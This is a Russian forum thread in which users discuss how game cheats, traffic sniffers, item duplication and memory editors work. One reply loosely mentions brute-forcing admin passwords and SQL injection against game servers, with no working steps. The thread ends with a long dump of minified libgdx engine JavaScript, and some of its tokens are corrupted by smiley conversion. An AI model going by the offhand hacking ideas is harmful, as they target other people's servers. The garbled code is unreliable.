Принцип работы чит програм, снифферы

Перейти вниз

Принцип работы чит програм, снифферы

Сообщение автор Dessan в Пт Мар 30, 2018 2:52 pm

Всегда интересовало как устроены читы. Например:
1. По какому принципу работает aim чит в кс и как его писали. Это тот, который позволяет стрелять всегда в голову.
2. По какому принципу работает чит, который позволял знать, где находятся все игроки вражеской команды. Я так понимаю он же позволяет видеть сквозь стены.
3. Как происходит работа клиент-сервер-клиент в онлайн играх
4. Была у меня программа для RF Online, которая фильтровала входящий траффик. Использовалась для того, чтоб фильтровать лут, который выпадает из монстров. То есть сначала пропускался весь лут через прогу, потом определялись пакеты с ненужным и они просто блокировались и игрок видел из 100 выпавших предметов сразу 2-3 нужных ему. Также это использовалось для разгрузки процессора - ненужные элементы просто выключались. Всегда интересовало как такой сниффер создать.
5. Интересовало на чём основан принцип копирования вещей в онлайн играх. Всегда в игре находился игрок, который умел покидать окно торговли, где-то побегать, что-то там прожать, открыть второе окно поверх первого, перезайти в игру, что-то переложить из окна торговли в банк, потом обратно, перезайти снова, ещё раз кинуть окно торговли и вот уже 100к у тебя 200к денег и в 2 раза больше предметов, которые ложили в окно торговли. Это всё как-то связано с БД, но как?
6. Работа Артмани на клиентской части игры. Все мы знаем, что Артмани работает с виртуальной памятью, читает её и корректирует. В не онлайн играх результат сохраняется, в онлайн играх результат сохраняется крайне редко. Почему так?
7. Ну, вообще для топ уровня уже знаний - CheatEngine. Если знать как он работает - можно взламывать многие игры и редактировать очень много всего. Я с ним встречался последний раз лет 10 назад и люди с ним делали чудеса просто и все они были программисты. А то что выкладывали в инет на разных сайтах - в течение месяца уже переставало работать.

Вообще читы и геймдев всегда идут вместе. Если в поисковике нет запроса на поиск чита в игре или бага - игра не популярна. А зная как работают читы, можно во многом себя заранее обезопасить. А то вашу многострадальную игру могут взломать за 5 минут, выложить всё в инет и на сервере останутся только одни читеры, которые забъют на игру через пару дней.

Dessan
Юный падаван

Сообщения : 424
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 3:50 pm

Ну ты ведь понимаешь, что тебе никто не ответит)) Я в читах тоже не разбираюсь.

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор Dessan в Пт Мар 30, 2018 4:00 pm

Я знаю точно, что мне не ответят на больших форумах, а на жуке мой вопрос перерос во флуд и это было много лет назад.

Вот ты не разбираешься, у pyro своя философия на этот счёт, может соник прочитает зайдёт, а может у тебя зародится идея разобраться, вот как я сейчас сижу и читаю про виджеты с твоей подачи

Dessan
Юный падаван

Сообщения : 424
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 4:04 pm

Мне на самом деле тоже не интересны ни читы, ни хакинг. Это типа особый вид мышления надо иметь. Манию чтоле. Ибо сидеть часами уставившись в монитор и перебирать пароли - монотонная работа, мотивации не хватит. Тру хакеры - чутка маньяки.

Хотя конеш если бы мне дали чью-то переписку, не отказался бы почитать. Ну, если это не близкие, конеш, а типа одноклассница в которую был влюблен.

Я хз почему тебя читы интересуют. По-моему скучная тема.

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор Dessan в Пт Мар 30, 2018 4:26 pm

Какие ещё пароли? С чего ты это взял? Это ты фильмов пересмотрел как компы взламывают, перебирая пароли. Или же тебе всё время хотелось взломать вк экк любимой девочки и ты сидел подбирал пароли к экк и к почте и т.д. Тем более в 80% взломов таких виноваты сами пользователи и компании. Пользователи тем, что ставят пароли в виде своих фамилий, имён, дат рождения и т.д., а также сообщают пароли просто по телефону любому кто представится администратором, а компании виноваты в том, что заставляют менять пароль каждые 2-3 месяца, да ещё и выдают свои сгенерированные, которые просто лепишь на монитор себе.

Ты ж сам вспомнил как соник ломал point.js, он же там ничего не перебирал, никакие пароли не подставлял, никакие часы не тратил, он всё сделал за 5 минут

А копирование вещей занимает минут 5 с учётов перезагрузки клиента, а экономит месяцы фарма

Dessan
Юный падаван

Сообщения : 424
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 5:15 pm

Читы - это набор букв в гта, которые можно ввести в любой момент и тебе дадут, например, танк. Или на денди нажимаешь по очереди кнопки и дают овер миллион денег.

Вообще ты конеш троллингоустойчивый, и тут троллинг сам напрашивается, но лан. Усохну. Ты ведь понимаешь, что нажимая рандомные буквы в игре - ты не ломаешь игру. Разработчики специально оставили читы для ленивых.

А то, о чем ты говоришь - это взлом игры. Хакинг. И если разрабы не раздоблаи, то все игровые данные хранятся на сервере. И взлом сервера это не ввод чита в гта. Если игра на sql-подобных бд и как-то криво реализованы запросы. То тебе именно этим и придется заниматься. Сидеть на каждой страничке и перебирать возможные комбинации. sql-инъекции вроде довольно сложные, т.е. это не только поиск не экранированных символов но и еще всякая параша.

А еще способ взломать сервер игры - перебрать пароли админа. Получил доступ админа - делай что хочешь.

В моем представлении работа со сниффером - такая же муторная, как перебор паролей. Только перебираешь переменные, куски информации.

Ты ж сам вспомнил как соник ломал point.js, он же там ничего не перебирал, никакие пароли не подставлял, никакие часы не тратил, он всё сделал за 5 минут
Потому что он знает структуру движка. И поинт даже не минифицированный. Минификация - это весь код превращают в сплошной текст, и для взлома так же надо сидеть и перебирать каждую переменную движка, чтобы узнать, что она делает.

А во-вторых, Соник взломал клиент. Это конеш круто. И поможет в создании бота. Но если ты хочешь тру-взлом, тебе нужен именно хакинг сервера. Это все имхо, с низоты моих представлений. Ибо знаний по теме мало. Но хакинг и всякие взломы - это скучно и муторно, вот мое имхо.

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 5:17 pm

"Сидеть на каждой страничке" - на каждой форме, проверять каждую функцию из консоли и т.п.

raingo
Отдел прокрастинации

Сообщения : 755
Дата регистрации : 2017-12-25

Посмотреть профиль

Вернуться к началу Перейти вниз

Re: Принцип работы чит програм, снифферы

Сообщение автор raingo в Пт Мар 30, 2018 5:40 pm

движок игры на ibgdx:
var $wnd = $wnd || window.parent;var __gwtModuleFunction = $wnd.html;var $sendStats = __gwtModuleFunction.__sendStats;$sendStats('moduleStartup', 'moduleEvalStart');var $gwt_version = "2.8.0";var $strongName = '3EFD48B51050DFC9A92B6401DFF8AD15';var $gwt = {};var $doc = $wnd.document;var $moduleName, $moduleBase;function __gwtStartLoadingFragment(frag) {var fragFile = 'deferredjs/' + $strongName + '/' + frag + '.cache.js';return __gwtModuleFunction.__startLoadingFragment(fragFile);}function __gwtInstallCode(code) {return __gwtModuleFunction.__installRunAsyncCode(code);}function __gwt_isKnownPropertyValue(propName, propValue) {return __gwtModuleFunction.__gwt_isKnownPropertyValue(propName, propValue);}function __gwt_getMetaProperty(name) {return __gwtModuleFunction.__gwt_getMetaProperty(name);}var $stats = $wnd.__gwtStatsEvent ? function(a) {return $wnd.__gwtStatsEvent && $wnd.__gwtStatsEvent(a);} : null;var $sessionId = $wnd.__gwtStatsSessionId ? $wnd.__gwtStatsSessionId : null;function J(){}
function db(){}
function dq(){}
function nl(){}
function vo(){}
function Cp(){}
function iLb(){}
function fLb(){}
function Erb(){}
function Irb(){}
function Mrb(){}
function Qrb(){}
function hsb(){}
function ksb(){}
function Zsb(){}
function Xtb(){}
function Xvb(){}
function Fvb(){}
function mub(){}
function uub(){}
function sLb(){}
function xLb(){}
function zLb(){}
function zOb(){}
function AOb(){}
function ANb(){}
function yNb(){}
function yUb(){}
function qUb(){}
function KMb(){}
function MMb(){}
function xPb(){}
function zPb(){}
function Cl(){sl()}
function Xl(){Hl()}
function YLb(){XLb()}
function mMb(a){KLb()}
function Vb(a,b){a.a=b}
function _b(a){this.d=a}
function dc(a){this.d=a}
function hc(a){this.d=a}
function lc(a){this.d=a}
function Lc(a){this.a=a}
function Rc(a){this.a=a}
function Uc(a){this.a=a}
function cd(a){this.a=a}
function cn(a){this.a=a}
function gn(a){this.a=a}
function ne(a){this.a=a}
function pe(a){this.a=a}
function re(a){this.a=a}
function Me(a){this.a=a}
function df(a){this.a=a}
function bh(a){this.a=a}
function eh(a){this.a=a}
function Eq(a){this.a=a}
function vsb(a){this.a=a}
function wsb(a){this.a=a}
function aub(a){this.a=a}
function cub(a){this.a=a}
function mLb(a){this.a=a}
function _Mb(a){this.a=a}
function dNb(a){this.a=a}
function dTb(a){this.a=a}
function APb(a){this.a=a}
function ATb(a){this.a=a}
function ETb(a){this.a=a}
function gQb(a){this.a=a}
function BRb(a){this.a=a}
function IUb(a){this.a=a}
function LUb(a){this.a=a}
function cUb(a){this.c=a}
function uOb(a){this.c=a}
function uTb(a){this.c=a}
function Xub(b,a){b.src=a}
function zsb(a,b){a.j=b}
function Dvb(a,b){a.b=b}
function iOb(a,b){a.b=b}
function hOb(a,b){a.a=b}
function fNb(a,b){a.a=b}
function Jub(b,a){b.width=a}
function SUb(){ZSb(this)}
function Wrb(){Wrb=fLb;iX()}
function am(){am=fLb;Hl()}
function Tj(){Tj=fLb;Sj=pn()}
function Ssb(){Ssb=fLb;yOb()}
function KLb(){KLb=fLb;jMb()}
function ttb(){this.a=Atb()}
function Mvb(){this.a=++Jvb}
function kd(a){hd();this.a=a}
function FKb(a){return a.e}
function nMb(a){KLb();return}
function fe(){new Sp;new Sp}
function wp(a){a.d=-1;vp(a)}
function Zp(a){a.d=-1;Yp(a)}
function ZPb(){En.call(this)}
function _Pb(){En.call(this)}
function bQb(){En.call(this)}
function sQb(){En.call(this)}
function iRb(){En.call(this)}
function vRb(){En.call(this)}
function wRb(){En.call(this)}
function QUb(){En.call(this)}
function GVb(){En.call(this)}
function On(){Pn.call(this,Cool}
function qf(a){nd(Dc,a.c,a.b)}
function Mm(a,b){Nm(a,b,b.d)}
function hl(a,b,c){a.a=b;a.b=c}
function Iub(b,a){b.height=a}
function cb(a){bb(a,new lc(a))}
function Ytb(a){return a.Ab()}
function Wg(a,b){return a.a[b]}
function XUb(){this.a=new SUb}
function Ic(){Ic=fLb;Hc=new Jc}
function lk(){lk=fLb;kk=new il}
function eNb(){eNb=fLb;new SUb}
function Nn(){Pn.call(this,16)}
function Wm(){Ym.call(this,16)}
function Xm(a){Ym.call(this,a)}
function In(a){Fn.call(this,a)}
function Io(){Jo.call(this,51)}
function io(){jo.call(this,20)}
function pp(){qp.call(this,51)}
function Sp(){Tp.call(this,51)}
function $Pb(a){Fn.call(this,a)}
function aQb(a){Fn.call(this,a)}
function cQb(a){Fn.call(this,a)}
function tQb(a){Fn.call(this,a)}
function jRb(a){Fn.call(this,a)}
function HVb(a){Fn.call(this,a)}
function iUb(a){XVb(a);this.a=a}
function gub(a){fub();eub.Bb(a)}
function lOb(a,b){nOb(a,b,a.c)}
function DRb(a,b){return a.a[b]}
function xsb(a){return KLb(),a.j}
function Vsb(a){return KLb(),a.j}
function Ib(a){pg(a.b.c);xh(a.a)}
function IMb(a){$vb.call(this,a)}
function $vb(a){Yvb.call(this,a)}
function ctb(b,a){b.fillStyle=a}
function eMb(a,b){a.__listener=b}
function pQb(a,b){return a>b?a:b}
function qQb(a,b){return a<b?a:b}
function nNb(a){return KLb(),a.j}
function AQb(a){$Pb.call(this,a)}
function eRb(a){cQb.call(this,a)}
function VRb(a){oRb.call(this,a)}
function bSb(a){oRb.call(this,a)}
function mSb(a){oRb.call(this,a)}
function YQb(){APb.call(this,'')}
function bRb(){APb.call(this,'')}
function cRb(){APb.call(this,'')}
function vtb(){vtb=fLb;utb=new J}
function nVb(){nVb=fLb;mVb=pVb()}
function Vf(){Vf=fLb;Uf=new SUb}
function wf(){wf=fLb;vf=new SUb}
function og(){og=fLb;ng=new SUb}
function vh(){vh=fLb;uh=(Of(),Kf)}
function Wk(){Uk(this,0,0,0,0)}
function hwb(a,b){return PPb(a,b)}
function Ob(a,b){a.k>=3&&Yc(a.a,b)}
function WQb(a,b){a.a+=b;return a}
function $Qb(a,b){a.a+=b;return a}
function Hub(a){a=RQb(a);return a}
function GPb(a){FPb(a);return a.j}
function ab(a){!!a.a&&a.a.Q(Fc.c)}
function SVb(a,b,c){a.splice(b,c)}
function etb(b,a){b.strokeStyle=a}
function lPb(b,a){b.useProgram(a)}
function Fd(a,b){return YOb(a.c,b)}
function zc(a,b){pc.call(this,a,b)}
function Je(a,b){pc.call(this,a,b)}
function Pf(a,b){pc.call(this,a,b)}
function lg(a,b){pc.call(this,a,b)}
function Ng(a,b){pc.call(this,a,b)}
function sh(a,b){pc.call(this,a,b)}
function ei(a,b){pc.call(this,a,b)}
function ki(a,b){pc.call(this,a,b)}
function qi(a,b){pc.call(this,a,b)}
function Rk(a,b){pc.call(this,a,b)}
function qm(a,b){pc.call(this,a,b)}
function wm(a,b){pc.call(this,a,b)}
function Em(a,b){pc.call(this,a,b)}
function Jm(a,b){pc.call(this,a,b)}
function Gn(a,b){yn.call(this,a,b)}
function Vo(a,b){pc.call(this,a,b)}
function _o(a,b){pc.call(this,a,b)}
function oq(a,b){pc.call(this,a,b)}
function Pc(a,b){this.a=a;this.b=b}
function Dl(a,b){this.a=a;this.b=b}
function pc(a,b){this.b=a;this.c=b}
function ze(a,b){this.b=a;this.a=b}
function Be(a,b){this.b=a;this.a=b}
function Xh(a,b){this.b=a;this.d=b}
function Bi(a,b){zk(a.f,b.a);a.e=1}
function PMb(a,b){QMb((KLb(),a),b)}
function kLb(b,a){return b.exec(a)}
function lLb(b,a){return b.test(a)}
function $Sb(a){return a.a.c+a.b.c}
function dPb(b,a){b.linkProgram(a)}
function qPb(b,a){b.responseType=a}
function _Kb(){ZKb==null&&(ZKb=[])}
function UNb(){UNb=fLb;Ssb();_Nb()}
function Ptb(){Ptb=fLb;Otb=new Xtb}
function XLb(){XLb=fLb;WLb=new Mvb}
function gRb(){gRb=fLb;fRb=new zPb}
function nUb(){nUb=fLb;mUb=new qUb}
function xUb(){xUb=fLb;wUb=new yUb}
function Tk(){Tk=fLb;new Wk;new Wk}
function ej(){ej=fLb;dj=new Sp;pn()}
function Jc(){pc.call(this,'TCP',0)}
function bvb(a,b){pc.call(this,a,b)}
function rvb(a,b){pc.call(this,a,b)}
function fwb(a,b){pc.call(this,a,b)}
function mNb(a,b){this.a=a;this.b=b}
function Wc(){this.e=480;this.b=320}
function zMb(){this.e=new qOb(this)}
function Xsb(a){zsb(this,(KLb(),a))}
function GNb(a){zsb(this,(KLb(),a))}
function MKb(a,b){return HKb(a,b)>0}
function Ttb(a){return !!a.a||!!a.f}
function VUb(a,b){return TSb(a.a,b)}
function aOb(a,b){pc.call(this,a,b)}
function DOb(a,b){yn.call(this,a,b)}
function NTb(a,b){this.a=a;this.b=b}
function tVb(a,b){return a.a.get(b)}
function rVb(){nVb();return new mVb}
function Vk(){Tk();Uk(this,0,0,0,1)}
function cg(a){ag.call(this,-1,-1,a)}
function Ld(a,b,c){nPb(a.c,0,0,b,c)}
function Id(a,b,c,d){iPb(a.c,b,c,d)}
function vd(a,b,c,d){SOb(a.c,b,c,d)}
function md(a,b,c){HOb(a.c,b,a.a[c])}
function nd(a,b,c){IOb(a.c,b,a.f[c])}
function RVb(a,b,c){a.splice(b,0,c)}
function Lub(a,b){a.dispatchEvent(b)}
function POb(b,a){b.deleteShader(a)}
function NOb(b,a){b.deleteBuffer(a)}
function rsb(a){$wnd.clearTimeout(a)}
function Mtb(a){$wnd.clearTimeout(a)}
function tvb(){rvb.call(this,'PX',0)}
function wvb(){rvb.call(this,'EX',3)}
function vvb(){rvb.call(this,'EM',2)}
function Avb(){rvb.call(this,'CM',7)}
function Bvb(){rvb.call(this,'MM',Cool}
function xvb(){rvb.call(this,'PT',4)}
function yvb(){rvb.call(this,'PC',5)}
function zvb(){rvb.call(this,'IN',6)}
function Csb(a,b){Fsb((KLb(),a.j),b)}
function QNb(a,b){(KLb(),a.j)[TWb]=b}
function OMb(a,b){(KLb(),a)[d6b]=b.a}
function yh(a,b){zh(a,b,0,0,b.b,b.a)}
function qj(a,b){return gp(a.d,b,-1)}
function KKb(a,b){return HKb(a,b)==0}
function NKb(a,b){return HKb(a,b)>=0}
function jPb(c,a,b){c.uniform1i(a,b)}
function LOb(b,a){b.compileShader(a)}
function QOb(b,a){b.deleteTexture(a)}
function OOb(b,a){b.deleteProgram(a)}
function OVb(a){this.a=new RegExp(a)}
function qd(){throw FKb(new In(VWb))}
function Etb(){Etb=fLb;!!(fub(),eub)}
function gWb(){gWb=fLb;dWb={};fWb={}}
function axb(a){return a==null?null:a}
function qsb(a){$wnd.clearInterval(a)}
function sg(a){qg.call(this,zd(Dc),a)}
function uvb(){rvb.call(this,'PCT',1)}
function Fh(){vh();Hh.call(this,1000)}
function Gh(){vh();Hh.call(this,5460)}
function Ph(a){yf(a.g);!!a.k&&kj(a.k)}
function QSb(a){return !a?null:a.ic()}
function OKb(a){return typeof a===mWb}
function GQb(a,b){return XVb(a),a===b}
function KQb(a,b){return a.indexOf(b)}
function JVb(a){return a!=null?P(a):0}
function hVb(a){this.a=rVb();this.b=a}
function wVb(a){this.a=rVb();this.b=a}
function XQb(a,b){a.a+=''+b;return a}
function _Qb(a,b){a.a+=''+b;return a}
function aRb(a,b){a.a+=''+b;return a}
function Rb(a,b,c){a.k>=2&&bd(a.a,b,c)}
function Pb(a,b,c){a.k>=1&&Zc(a.a,b,c)}
function Qb(a,b,c){a.k>=1&&$c(a.a,b,c)}
function Yl(a,b,c){Hl();Sl(this,a,b,c)}
function vj(a,b,c){uj(a,oj(a,b,aj),c)}
function Bf(a,b,c,d){Cf(a,b,4,c,d,a.a)}
function CMb(a,b){xMb(a,b,(KLb(),a.j))}
function NLb(a,b){KLb();cMb();lMb(a,b)}
function _Vb(a,b){return parseInt(a,b)}
function Nub(a,b){return a.contains(b)}
function Dd(a,b){return ZOb(a.c,a.d[b])}
function Kd(a,b){a.b=b;lPb(a.c,a.d[b])}
function od(a,b,c,d,e){JOb(a.c,b,c,d,e)}
function btb(e,a,b,c,d){e.rect(a,b,c,d)}
function HOb(c,a,b){c.bindBuffer(a,b)}
function IOb(c,a,b){c.bindTexture(a,b)}
function eOb(){aOb.call(this,'LEFT',2)}
function fvb(){bvb.call(this,'LEFT',2)}
function gvb(){bvb.call(this,'RIGHT',3)}
function BNb(){uNb.call(this,$doc.body)}
function fOb(){aOb.call(this,'RIGHT',3)}
function GOb(c,a,b){c.attachShader(a,b)}
function ePb(c,a,b){c.shaderSource(a,b)}
function rQb(a,b){return HKb(a,b)<0?a:b}
function rwb(a){return swb(a.l,a.m,a.h)}
function GLb(a){return new Int8Array(a)}
function Ntb(){Btb!=0&&(Btb=0);Dtb=-1}
function ULb(){if(!QLb){tMb();QLb=true}}
function cMb(){if(!aMb){kMb();aMb=true}}
function Jj(a){if(a.e){qd();a.g=false}}
function ke(){this.a=true;this.b=false}
function Vh(a){Kh();Uh.call(this,a,Wh())}
function Ij(a,b){Aj.call(this,false,a,b)}
function dvb(){bvb.call(this,'CENTER',0)}
function cOb(){aOb.call(this,'CENTER',0)}
function rn(a){a.j=lwb(bJb,vWb,81,0,0,1)}
function yl(a,b){a.a*=b;a.b*=b;return a}
function zl(a,b,c){a.a=b;a.b=c;return a}
function ORb(a,b,c){GRb(a,b,c);return a}
function PRb(a,b,c){HRb(a,b,c);return a}
function Ef(a,b,c){a.d.nb(b,0,c);return a}
function tl(a,b,c){a.a+=b;a.b+=c;return a}
function Al(a,b){a.a=b.a;a.b=b.b;return a}
function We(a,b){a.b.b=LKb(b);Oc(a.c,a.d)}
function gj(a){var b;b=Ec;hj(a);Kd(b,a.n)}
function PLb(a){KLb();cMb();lMb(a,32768)}
function wd(a,b,c,d){TOb(a.c,b,c,5123,d)}
function SRb(a,b,c){IRb.call(this,a,b,c)}
function _sb(d,a,b,c){d.drawImage(a,b,c)}
function swb(a,b,c){return {l:a,m:b,h:c}}
function Jl(a,b){return Il(a,b.a,b.b,b.c)}
function Tl(a,b){return Sl(a,b.a,b.b,b.c)}
function Vl(a,b){return Ul(a,b.a,b.b,b.c)}
function FQb(a,b){return a.charCodeAt(b)}
function Cub(b,a){return b.appendChild(a)}
function Dub(b,a){return b.removeChild(a)}
function LQb(a,b){return a.lastIndexOf(b)}
function WUb(a,b){return YSb(a.a,b)!=null}
function _Lb(){this.a=new Wvb;this.b=null}
function En(){rn(this);tn(this);this.rb()}
function RNb(a){Ssb();zsb(this,(KLb(),a))}
function dRb(a){APb.call(this,(XVb(a),a))}
function dOb(){aOb.call(this,'JUSTIFY',1)}
function evb(){bvb.call(this,'JUSTIFY',1)}
function KOb(d,a,b,c){d.bufferData(a,b,c)}
function SOb(d,a,b,c){d.drawArrays(a,b,c)}
function Zwb(a,b){return a!=null&&Wwb(a,b)}
function Dq(a,b){return Wrb(),kX(Yrb(a),b)}
function cWb(a){return a.$H||(a.$H=++bWb)}
function Bwb(a){return a.l+a.m*gqc+a.h*hqc}
function _wb(a){return typeof a==='string'}
function BLb(a){return new Float32Array(a)}
function ALb(c,a,b){return c.subarray(a,b)}
function DLb(c,a,b){return c.subarray(a,b)}
function MOb(b,a){return b.createShader(a)}
function YOb(b,a){return b.getParameter(a)}
function QQb(a,b,c){return a.substr(b,c-b)}
function nk(a){lk();return XKb(fl(kk,a+1))}
function VVb(a){if(!a){throw FKb(new GVb)}}
function FPb(a){if(a.j!=null){return}TPb(a)}
function oMb(a){a.preventDefault();pMb(a)}
function KNb(a){this.b=a;this.a=!!this.b.a}
function Wvb(){this.d=new SUb;this.c=false}
function VTb(){this.a=lwb(ZIb,DWb,1,0,5,1)}
function xd(a,b,c,d){TOb(a.c,b,c,5123,d.f)}
function nPb(e,a,b,c,d){e.viewport(a,b,c,d)}
function aWb(b,c,d){try{b[c]=d}catch(a){}}
function Asb(a,b){(KLb(),a.j).style[F9b]=b}
function Dsb(a,b){(KLb(),a.j).style[GWb]=b}
function PUb(a){var b;b=a[Hqc]|0;a[Hqc]=b+1}
function lj(a,b){var c;c=Ec;hj(a);UOb(c.c,b)}
function Ve(a){a.b.a=true;gRb();Oc(a.c,a.d)}
function NNb(a){return Fub((KLb(),a.j),TWb)}
function kub(a){fub();return parseInt(a)||-1}
function Nd(b,a){b.push(a);return b.length-1}
function Bl(a,b){a.a-=b.a;a.b-=b.b;return a}
function po(a){a.d=-1;a.c.d?(a.b=true):oo(a)}
function xh(a){yf(a.n);a.o&&!!a.r&&kj(a.r)}
function rf(a){if(a.b!=0){ud(Dc,a.b);a.b=0}}
function rd(a,b){var c;c=Od(a.a,b);NOb(a.c,c)}
function td(a,b){var c;c=Od(a.e,b);POb(a.c,c)}
function ud(a,b){var c;c=Od(a.f,b);QOb(a.c,c)}
function wn(a,b){a.e=b;b!=null&&aWb(b,jZb,a)}
function _f(a,b){Vf();ag.call(this,a,b,null)}
function Cg(a,b,c){pc.call(this,a,b);this.a=c}
function Ig(a,b,c){pc.call(this,a,b);this.a=c}
function Re(a,b,c){this.a=a;this.b=b;this.c=c}
function Dk(a,b,c){Ck(a,0,b,0,c,0,1);return a}
function Ftb(a,b,c){return a.apply(b,c);var d}
function Wub(b,a){return b.getElementById(a)}
function usb(a,b){return $wnd.setTimeout(a,b)}
function MQb(a,b,c){return a.lastIndexOf(b,c)}
function iPb(d,a,b,c){d.texParameterf(a,b,c)}
function Aub(a){zub();xub[0]=a;return yub[0]}
function Bub(a){zub();yub[0]=a;return xub[0]}
function kRb(a){a.f=0;a.e=-1;a.d=a.c;return a}
function lRb(a){a.d=a.f;a.f=0;a.e=-1;return a}
function Df(a,b){a.b.hb(b,0,b.length);return a}
function Do(a,b){b*=oZb;return (b^b>>>a.c)&a.f}
function Co(a,b){b*=nZb;return (b^b>>>a.c)&a.f}
function Zn(a,b){b*=nZb;return (b^b>>>a.e)&a.i}
function $n(a,b){b*=oZb;return (b^b>>>a.e)&a.i}
function jp(a,b){b*=oZb;return (b^b>>>a.d)&a.g}
function Kp(a,b){b*=oZb;return (b^b>>>a.d)&a.g}
function ip(a,b){b*=nZb;return (b^b>>>a.d)&a.g}
function Jp(a,b){b*=nZb;return (b^b>>>a.d)&a.g}
function fQb(a,b){return Zwb(b,94)&&b.a==a.a}
function aPb(b,a){return b.getShaderInfoLog(a)}
function UOb(b,a){b.enableVertexAttribArray(a)}
function dtb(b,a){b.globalCompositeOperation=a}
function rtb(a,b,c){pc.call(this,a,b);this.a=c}
function vPb(a,b,c){pc.call(this,a,b);this.a=c}
function CVb(a,b,c){this.a=a;this.b=b;this.c=c}
function uj(a,b,c){var d;d=Ec;hj(a);Jd(d,b,c.a)}
function jd(a,b){return new ed(a.a,b,(yc(),wc))}
function Rl(a,b){return Sl(a,a.a*b,a.b*b,a.c*b)}
function Ml(a,b){return a.a*b.a+a.b*b.b+a.c*b.c}
function rPb(){return new $wnd.XMLHttpRequest}
function Nvb(a,b,c){return Qvb(a.a,b,c),new Xvb}
function Wtb(a,b){a.a=Ztb(a.a,[b,false]);Utb(a)}
function QMb(a,b){a.style['verticalAlign']=b.a}
function ROb(b,a){b.disableVertexAttribArray(a)}
function ZOb(b,a){return b.getProgramInfoLog(a)}
function TOb(e,a,b,c,d){e.drawElements(a,b,c,d)}
function kPb(d,a,b,c){d.uniformMatrix4fv(a,b,c)}
function CPb(){Fn.call(this,'divide by zero')}
function UVb(a,b){if(!a){throw FKb(new $Pb(b))}}
function RTb(a,b){a.a[a.a.length]=b;return true}
function Sl(a,b,c,d){a.a=b;a.b=c;a.c=d;return a}
function Od(c,a){var b=c[a];delete c[a];return b}
function Pvb(a,b){!a.a&&(a.a=new VTb);RTb(a.a,b)}
function ELb(a,b,c){return new Int16Array(a,b,c)}
function FLb(a,b,c){return new Int32Array(a,b,c)}
function HLb(a,b,c){return new Uint8Array(a,b,c)}
function Rvb(a,b,c,d){var e;e=Tvb(a,b,c);e.Zb(d)}
function MPb(a,b){var c;c=JPb(a,b);c.e=2;return c}
function Hq(){Hq=fLb;Gq=lwb(YFb,DWb,7,0,0,1)}
function iX(){iX=fLb;Nq=lwb(YFb,DWb,7,0,0,1)}
function Kh(){Kh=fLb;Jh=lwb(fxb,WXb,25,30,15,1)}
function zq(){rq();this.a=lwb(dxb,GZb,25,32,15,1)}
function pf(){this.a=(gRb(),QKb(LKb(TVb()),KWb))}
function $f(a){a.c=0;Yf(a);dtb(a.g,(qtb(),otb).a)}
function _h(a){this.c=a;Zh(this,0,0,a.a.g,a.a.c)}
function ai(a,b,c,d,e){this.c=a;Zh(this,b,c,d,e)}
function VOb(c,a,b){return c.getActiveAttrib(a,b)}
function ssb(a,b){return kWb(function(){a.tb(b)})}
function pRb(a,b){return a.b=b==(ARb(),xRb)?0:1,a}
function CLb(a,b,c){return new Float32Array(a,b,c)}
function WOb(c,a,b){return c.getActiveUniform(a,b)}
function Wl(a){return '('+a.a+','+a.b+','+a.c+')'}
function sVb(a,b){return !(a.a.get(b)===undefined)}
function bb(a,b){!!a.a&&a.a.P();a.a=b;a.a&&a.a.R()}
function Dh(a,b){a.g&&Ch(a);zk(a.p,b.a);a.g&&Eh(a)}
function hj(a){if(a.g){ij(a,a.u,a.f);a.g=false}}
function wb(a){Ph(a.j);xh(a.a);pg(a.J.c);pg(a.n.c)}
function Fn(a){rn(this);this.g=a;tn(this);this.rb()}
function kh(a,b){this.e=(rh(),ph);this.a=a;this.b=b}
function msb(){this.a=new VTb;this.b=new vsb(this)}
function HMb(){HMb=fLb;FMb=new KMb;GMb=new MMb}
function yOb(){yOb=fLb;xOb=new AOb;xOb?new zOb:xOb}
function oQb(){oQb=fLb;nQb=lwb(TIb,M5b,94,256,0,1)}
function jwb(a,b,c,d,e,f){return kwb(a,b,c,d,e,0,f)}
function Il(a,b,c,d){return Sl(a,a.a+b,a.b+c,a.c+d)}
function Ul(a,b,c,d){return Sl(a,a.a-b,a.b-c,a.c-d)}
function XOb(c,a,b){return c.getAttribLocation(a,b)}
function Wsb(a){return (KLb(),a.j).getContext('2d')}
function nwb(a){return Array.isArray(a)&&a.mc===iLb}
function Ywb(a){return !Array.isArray(a)&&a.mc===iLb}
function SKb(a,b){return IKb(Iwb(OKb(a)?VKb(a):a,b))}
function TKb(a,b){return IKb(Kwb(OKb(a)?VKb(a):a,b))}
function Hvb(a){var b;if(Evb){b=new Fvb;Ovb(a,b)}}
function Rm(a){!a.b&&(a.b=new cn(a));return bn(a.b)}
function Ztb(a,b){!a&&(a=[]);a[a.length]=b;return a}
function tq(a,b){b==null?wq(a):vq(a,hLb(b));return a}
function zj(a){if(a.d){pd(Ec,qYb,a.b,a.f);a.e=false}}
function Wj(a){if(a.e){pd(Ec,qYb,a.b,a.g);a.f=false}}
function SMb(a){this.a=a;this.b=_vb(a);this.c=this.b}
function vNb(a){tNb();try{Jsb(a)}finally{WUb(sNb,a)}}
function rg(a){og();sg.call(this,new xi(a,new bg(a)))}
function il(){bl();el.call(this);gl(this,dl(new el))}
function hd(){hd=fLb;!rLb&&(uLb(),tLb)&&(rLb=new sLb)}
function xf(a,b){a.d.jb(b,null);a.b.fb()>0&&a.b.cb()}
function Ff(a,b){a.d.ob(b,null);a.b.fb()>0&&a.b.ib()}
function YVb(a,b){if(a==null){throw FKb(new tQb(b))}}
function bPb(c,a,b){return c.getShaderParameter(a,b)}
function cPb(c,a,b){return c.getUniformLocation(a,b)}
